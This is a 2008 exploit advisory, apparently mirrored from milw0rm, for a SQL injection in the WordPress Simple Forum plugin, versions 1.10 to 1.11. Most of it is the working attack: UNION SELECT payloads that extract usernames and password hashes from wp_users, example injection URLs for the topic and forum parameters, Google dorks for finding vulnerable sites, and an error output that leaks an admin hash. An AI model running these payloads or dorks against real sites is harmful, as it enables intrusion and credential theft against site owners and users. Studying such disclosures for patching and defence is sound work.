Wordpress Plugin Simple Forum 1.10-1.11 SQL Injection Vulnerability

🗓️ 16 Feb 2008 00:00:00Reported by RootType
WordPress Plugin Simple Forum 1.10-1.11 SQL Injection Vulnerabilit

                                                ###############################################################
#
#&nbsp;Simple&nbsp;Forum&nbsp;Version&nbsp;1.10-1.11&nbsp;SQL&nbsp;Injection
#
###############################################################
#
#&nbsp;AUTHOR&nbsp;:&nbsp;S@BUN
#
#&nbsp;HOME&nbsp;:&nbsp;http://www.milw0rm.com/author/1334
#
#&nbsp;MA&amp;#304;L&nbsp;:&nbsp;[email protected]
#
################################################################
Simple&nbsp;Forum&nbsp;-&nbsp;Version&nbsp;1.10
Simple&nbsp;Forum&nbsp;-&nbsp;Version&nbsp;1.10&nbsp;-&nbsp;(&nbsp;2.1.3)
Simple&nbsp;Forum&nbsp;-&nbsp;Version&nbsp;1.11

################################################################

EXPLA&amp;#304;N=

sametimes&nbsp;password&nbsp;and&nbsp;username&nbsp;in&nbsp;error&nbsp;massege&nbsp;for&nbsp;axample&nbsp;you&nbsp;can&nbsp;see&nbsp;in

(bazen&nbsp;&amp;#351;ifreler&nbsp;hatalar&amp;#305;n&nbsp;i&amp;ccedil;indedir)

WordPress&nbsp;database&nbsp;error:&nbsp;[You&nbsp;have&nbsp;an&nbsp;error&nbsp;in&nbsp;your&nbsp;SQL&nbsp;syntax;&nbsp;check&nbsp;the&nbsp;manual&nbsp;that&nbsp;corresponds&nbsp;to&nbsp;your&nbsp;MySQL&nbsp;server&nbsp;version&nbsp;for&nbsp;the&nbsp;right&nbsp;syntax&nbsp;to&nbsp;use&nbsp;near&nbsp;'|admin|b8329b6e20b9f84f7b44ee678a5f484d|&nbsp;WHERE&nbsp;topic_id=-1/**/UNION/**/SELECT/**'&nbsp;at&nbsp;line&nbsp;1]
UPDATE&nbsp;wp_sftopics&nbsp;SET&nbsp;topic_opened&nbsp;=&nbsp;|admin|b8329b6e20b9f84f7b44ee678a5f484d|&nbsp;WHERE&nbsp;topic_id=-1/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

################################################################

&nbsp;DORK&nbsp;1&nbsp;:

Simple&nbsp;Forum&nbsp;-&nbsp;Version&nbsp;1.10
Simple&nbsp;Forum&nbsp;-&nbsp;Version&nbsp;1.10&nbsp;-&nbsp;(&nbsp;2.1.3)
Simple&nbsp;Forum&nbsp;-&nbsp;Version&nbsp;1.11

&nbsp;DORK&nbsp;2&nbsp;:&nbsp;allinurl:&nbsp;topic&nbsp;&quot;forums?forum=&quot;

################################################################
&nbsp;&nbsp;example

http://xxxxx/forums?forum=xxxx&amp;topic=&nbsp;(expliot)

&nbsp;&nbsp;EXPLO&amp;#304;T&nbsp;1&nbsp;:

-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*

&nbsp;&nbsp;EXPLO&amp;#304;T&nbsp;2&nbsp;:

S&amp;#304;MET&amp;#304;MES&nbsp;YOU&nbsp;CANT&nbsp;SEE&nbsp;(xxxx&amp;topic)&nbsp;SOO&nbsp;USE&nbsp;TH&amp;#304;S&nbsp;EXPLO&amp;#304;T&nbsp;AFTER&nbsp;forum=xxx(number)

&nbsp;&nbsp;example

www.xxxxx/forums?forum=1(expliot)

&amp;topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*


################################################################
#&nbsp;S@BUN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;AM&nbsp;NOT&nbsp;HACKER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;S@BUN
################################################################
16 Feb 2008 00:00Current
7.1High risk
Vulners AI Score7.1